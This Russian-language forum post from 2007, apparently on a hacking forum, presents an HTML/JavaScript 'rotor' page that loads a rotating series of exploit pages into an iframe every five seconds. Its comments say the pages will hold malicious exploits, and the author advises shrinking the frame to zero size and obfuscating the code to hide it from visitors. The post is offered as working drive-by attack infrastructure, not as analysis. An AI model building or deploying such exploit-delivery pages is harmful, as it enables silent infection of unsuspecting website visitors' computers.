
11.04.2007, 15:12
|
|
Флудер
Регистрация: 21.06.2006
Сообщений: 3,193
Провел на форуме: 12702287
Репутация:
4738
|
|
Типовой код файла rotor[N].html
Код:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
<title>rotor0</title>
</head>
<script type="text/javascript">
sploits = new Array();
currentSploit = 0;
//тут заменим наши сайты вредоносными страницами, которые будут содержать эксплоиты.
sploits[0] = "0.html";
sploits[1] = "1.html";
sploits[2] = "2.html";
sploits[3] = "3.html";
sploits[4] = "4.html";
sploits[5] = "5.html";
sploits[6] = "6.html";
sploits[7] = "7.html";
sploits[8] = "8.html";
sploits[9] = "9.html";
sploits[10] = "10.html";
sploits[11] = "11.html";
function changeSploit() {
document.getElementById( "ifrm" ).src = sploits[currentSploit];
currentSploit++;
if (currentSploit >= sploits.length) {
currentSploit = 0;
}
}
setInterval( "changeSploit()", 5000 );
</script>
<body onload="changeSploit()">
<iframe id="ifrm" src="" style="text-align: Justify; padding-left:0px; padding-top:0px; height: 5%; width:10%; ">
</body>
</html>
Проверим - работает во всех трёх браузерах.
Интервал потом надо будет уточнить, так как некоторым сплоитам на переполнение необходимо много времени, также набор сплоитов и количество для каждой ситуации будет свой. Не забудем потом сделать размер фрейма нулевым и про обфускацию html кода.
|
|
|